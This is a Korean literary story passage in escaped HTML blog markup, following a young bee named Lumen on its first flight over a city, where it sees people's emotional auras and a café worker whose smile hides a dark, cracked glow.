&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;한 발을 앞으로 내디뎠다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 그리고 또 한 발.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;중력이 발밑을 놓아 버리는 순간, 온몸이 동시에 가벼워졌다. 몸이 떨어지는지, 떠오르는지 구분할 수 없는 짧은 찰나 동안, 루멘은 자신이 &amp;ldquo;낙하&amp;rdquo;가 아니라 &amp;ldquo;비행&amp;rdquo;을 하고 있다는 것을 배웠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;바람이 날개를 받쳐 올렸다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 바람은 생각보다 무거웠고, 빛은 생각보다 차가웠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벌집가에서 멀어질수록, 도시의 색이 또렷해졌다&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 지상에서 올라오는 자동차 배기가스의 회색 띠, 신호등의 녹색이 만들어내는 규칙적인 맥박, 횡단보도 위를 건너는 인간들 머리 위로 피어오르는 감정의 오라들-어떤 사람에게서는 부서진 파랑이, 어떤 사람에게서는 붉은 기대가, 또 어떤 이에게서는 거의 색을 잃어버린 연기 같은 기운이 새어 나왔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 알 수 없었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 이 색들이 무엇을 의미하는지, 왜 사람마다 이렇게 다른지, 자신 말고 다른 벌들은 이걸 얼마나 보는지.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;다만 확실한 것은 하나였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;도시를 조금 더 살아내면, 도시는 조금 더 많은 색을 보여줄 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 사실을 직감한 순간, 그의 첫 비행은 단순한 바깥나들이가 아니라, 새로운 존재 방식의 시작이 되었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그의 첫 비행은 그렇게 시작되었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 빛으로 가득 찬, 너무 많은 색을 한꺼번에 알아버린 존재의, 아주 작은 출발이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 날고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 날고 있다는 사실이, 곧 &amp;ldquo;떨어지지 않고 있다는 증거&amp;rdquo;라는 걸 깨닫는 데에는, 생각보다 많은 용기가 필요했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;바람은 언제나 아래에서만 부는 것이 아니라, 옆에서, 위에서, 심지어 안쪽에서 불어왔다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 날개가 떨릴 때마다, 루멘은 잠깐씩 자신이 누구인지 잊었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 나는 꿀을 모으는 벌인가, 빛을 모으는 눈인가, 아니면 그저 한순간 스쳐 지나가는 점 하나일 뿐인가.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그는 아래를 내려다보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;도시는 벌집과 달랐다. 벌집이 안쪽으로 모이는 구조라면, 도시는 끝없이 바깥으로 흘러나가는 모양이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 길과 차선은 직선으로 뻗어 있고, 사람들은 자꾸만 앞으로 걸어가고, 차들은 같은 자리를 두 번 돌아보지 않는 것처럼 보였다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 그러나 루멘의 눈에는, 그 모든 직선 위를 떠다니는 색들이, 마치 한 곳으로 서서히 모여드는 듯이 보였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;저 많은 선과 색들 중에, 나는 어디에 서야 하지?&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 스스로에게 물었다. 누가 답해 주지 않아도, 물음은 일단 떠올랐다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 벌집 안에서 그는 질문할 필요가 없었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 사는 법은 이미 정해져 있었고, 길은 태어나기 전부터 준비되어 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 하지만 이곳, 도시 위의 공기 속에서는 아무도 길을 그어 주지 않았다. 바람만이 길처럼 보였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그는 한번 몸을 기울여, 빛이 더 많이 모여드는 쪽으로 방향을 틀었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그곳은 옥상이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;수십 층 높이의 건물 위, 회색 바닥 위에 작은 정원이 올라앉아 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 도시 한가운데, 뜬금없이 놓인 초록의 섬.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 화분마다 초록 잎이 자라고, 잎 끝마다 꽃들이 피어 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 유독 그 옥상만, 다른 건물들보다 조금 더 따뜻한 노란 오라에 둘러싸여 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;아, 저기는&amp;hellip;&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 아직 &amp;lsquo;카페&amp;rsquo;라는 말을 몰랐지만, 그 옥상에서 뿜어져 나오는 색의 조합이 마음에 들었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 부드러운 크림색, 따뜻한 커피빛 갈색, 설탕처럼 반짝이는 흰 알갱이들.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 그리고 그 위에, 사람들의 웃음이 만들어내는 불규칙한 붉은 점들이 반짝였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그는 그쪽으로 몸을 낮췄다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 바람이 뜨거운 김과 섞인 커피 냄새, 빵 굽는 냄새, 인간의 땀 냄새를 한 번에 실어 나르며 그의 몸을 감싸 안았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 모든 냄새와 색은 동시에 들어와, 하나의 감각으로 뒤섞였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;이렇게 많은 감각을, 한 번에 느끼는 것이 옳은 일일까?&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벌집에서는 한 번에 하나만 느끼면 되었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 먹을 때는 먹는 감각, 청소할 때는 청소하는 감각, 춤출 때는 춤추는 감각.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 분명해야만 했다. 분명해야 혼란이 없고, 혼란이 없을 때 집은 무너지지 않았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 지금, 루멘은 분명함과 정반대의 세계 한가운데 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 빛과 냄새와 소리와 바람이 동시에 밀려와, 그를 하나의 용도로만 쓰이지 않는 존재로 만들어 버리고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;그렇다면, 분명하지 않아도 되는 생도 있는 걸까?&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 그 생각이 어딘가 마음에 들었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 꽃에서 꿀을 모으는 벌이 아니라, 인간의 빛을 관찰하는 벌이라면 어떨까.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 집단의 한 조각이 아니라, 이 도시 전체를 하나의 거대한 꽃으로 바라보는 벌이라면.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이런 생각을 하면서도, 그는 본능적으로 꽃을 찾아 내려앉았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 옥상 한쪽, 가장 진한 보라빛을 뿜어내고 있는 라벤더 화분 위로.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;꽃잎에 발을 디딜 때, 루멘은 잠깐 안심했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 세계가 다시 단순해지는 느낌이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 눈앞에는 꽃, 발밑에는 꿀, 머리 위에는 하늘.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 이 정도의 세계라면, 어떻게 살아야 할지 어렵지 않다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그는 천천히 꽃 안쪽을 더듬었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 자외선이 꽃잎 위에 그려 놓은 길을 따라, 꿀집으로 이어지는 무늬를 읽었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 인간이 보지 못하는 그 무늬는, 루멘에게는 &amp;ldquo;이리로 오라&amp;rdquo;고 말하는 표지판 같았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;그래, 이것이야말로 확실한 것.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 꿀을 맛보았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 달고, 따뜻했고, 짧은 순간이나마 세상 전체가 이 한 방울에 응축된 듯했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 몸이 가벼워지고, 생각이 간결해졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그때였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘의 시야 한 구석에, 이상한 색이 스쳤다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그는 본능적으로 머리를 들었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 옥상 난간 쪽, 사람 하나가 서 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;검은 앞치마를 두른 인간. 머리는 뒤로 묶였고, 손은 난간을 꼭 쥐고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 멀리서 보기에도, 그 인간은 웃고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 입가의 곡선, 손님에게 내밀 준비가 된 표정.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 루멘의 눈에는, 그의 몸을 감싸고 있는 빛이 전혀 다른 이야기를 하고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;웃음 주변으로, 잿빛 균열이 번지고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 겉은 따뜻한 크림색인데, 그 아래에서 서서히 스며 나오는 검푸른 물감이 표정을 타고 내려와, 가슴께에서 고여 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 그 검푸른 빛은, 바다처럼 넓지 않았다. 오히려 유리잔을 가득 채운 먹물처럼, 너무 좁아서 숨이 막힐 것 같은 색이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;저건&amp;hellip; 무슨 색이지?&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 자신도 모르게 꽃에서 한 발짝 물러섰다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 포만감으로 차오르던 몸 안의 따뜻한 색들이, 그 검푸른 빛과 닿는 순간 조금씩 식어 가는 느낌.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벌집 안에서는, 누구의 빛도 이렇게 갈라져 있지 않았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 벌들의 빛은 노랗거나, 연한 갈색이거나, 가끔 피곤할 때 약간 흐려질 뿐이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 하지만 저 인간의 빛은, 마치 두 개의 서로 다른 세계가 한 몸 안에서 부딪히고 있는 것처럼 보였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;위쪽은 환한 카페 조명의 색이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 아래쪽은, 오래 닫아 둔 방 안의 공기처럼, 움직이지 않는 어둠의 색이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;혹시, 다들 저렇게 보이는 걸까?&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 자기 의심을 향해 또 다른 의심을 덧붙였다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 혹시, 다른 벌들도 이런 색을 보고 있는데, 그저 말하지 않을 뿐일까?&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 아니면, 자신만 이 색을 보고 있고, 그래서 이 세계가 유난히 복잡해 보이는 것일까?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;만약 후자라면, 이건 행운인가, 불행인가.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 대답을 알 수 없었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 답 대신, 바람이 불었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;난간에 서 있던 인간의 머리카락이 바람에 흔들렸다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 그 순간, 검푸른 빛이 아주 조금, 진동했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 마치, 오래 닫혀 있던 방의 창문이 아주 조금 열리는 것처럼.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아주 미세하게 흔들리는 그 틈 사이로, 거의 눈에 띄지 않는 연한 빛이 새어 나왔다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 희미한 노랑과 연분홍, 누구에게도 말한 적 없을 것 같은 바람의 색.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;빛은, 하나가 아니구나.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 그렇게 생각했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 한 몸 안에서도, 여러 개의 빛이 서로를 밀치고, 조금씩 물들이고, 때로는 아주 잠깐 화해하기도 하는 것.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 그것이 아마, 이 도시가 숨쉬는 방식일지도 모른다고.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그는 다시 꽃으로 시선을 돌렸다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 꿀은 여전히 달았고, 꽃잎은 여전히 자외선의 길을 선명하게 품고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 하지만 방금 전까지 단순해 보이던 이 한 송이 꽃도, 이제는 조금 다르게 보였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;이 꽃에도, 나에게 보이지 않는 빛이 있을까?&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 처음으로, 자신의 감각이 전부가 아닐지 모른다는 생각을 했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 자신이 보는 자외선이 누군가에게는 깜깜한 어둠일 수도 있고, 자신에게 아무것도 아닌 파장대에서, 또 다른 생명들이 길을 찾고 있을지도 모른다는 상상.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 생각은 약간 무서웠지만, 동시에 위로가 되기도 했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 만약 내가 모르는 감각들이 있다면, 내가 보는 이 복잡한 색도, 어딘가에서는 더 단순하게 보일 수 있을 테니까.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;그래. 나도, 누군가의 세계 속에서는 단순한 점 하나일지 몰라.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그렇게 생각하니, 검푸른 빛을 둘러싼 두려움이 조금 옅어졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 루멘은 다시 난간 쪽을 바라보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 인간-훗날 루멘이 &amp;ldquo;지영&amp;rdquo;이라는 이름으로 알게 될 사람-은, 여전히 웃고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 하지만 이제 루멘은, 그 웃음 뒤의 균열만 보는 대신, 균열 사이로 스며 나오는 미약한 빛도 함께 볼 수 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;세계는 처음보다 더 복잡해졌지만, 동시에 더 견딜 만해졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 복잡함 속에서도, 아주 작은 빛 하나쯤은 어디에나 있다는 사실이, 그를 조금은 덜 외롭게 만들었기 때문이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그날, 루멘의 첫 비행은 끝나지 않았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 오히려 그 날부터가, 진짜 첫 비행의 시작이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그는 꽃과 인간, 빛과 어둠, 단순함과 복잡함 사이를 오가며, 자신의 눈이 무엇을 보기 위해 태어났는지 천천히 이해해 가게 될 것이다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 하지만 지금은 아직, 한 마리의 어린 벌일 뿐이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;꽃 위에 잠시 앉아, 난간 위의 인간을 바라보며, 자신도 모르게 이런 생각을 하고 있는.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;아마, 이 도시에는 내가 아직 보지 못한 빛들이 더 많겠지.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그리고 그 생각 하나만으로도, 루멘은 조금 더 높이, 조금 더 멀리 날아가 보고 싶어졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;우리는 보이는 만큼만 사는 줄 알았는데,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어쩌면 사는 만큼만 보이기도 하는 것 같다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;도시를 조금 더 살아내자, 도시는 조금 더 많은 색을 보여주었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
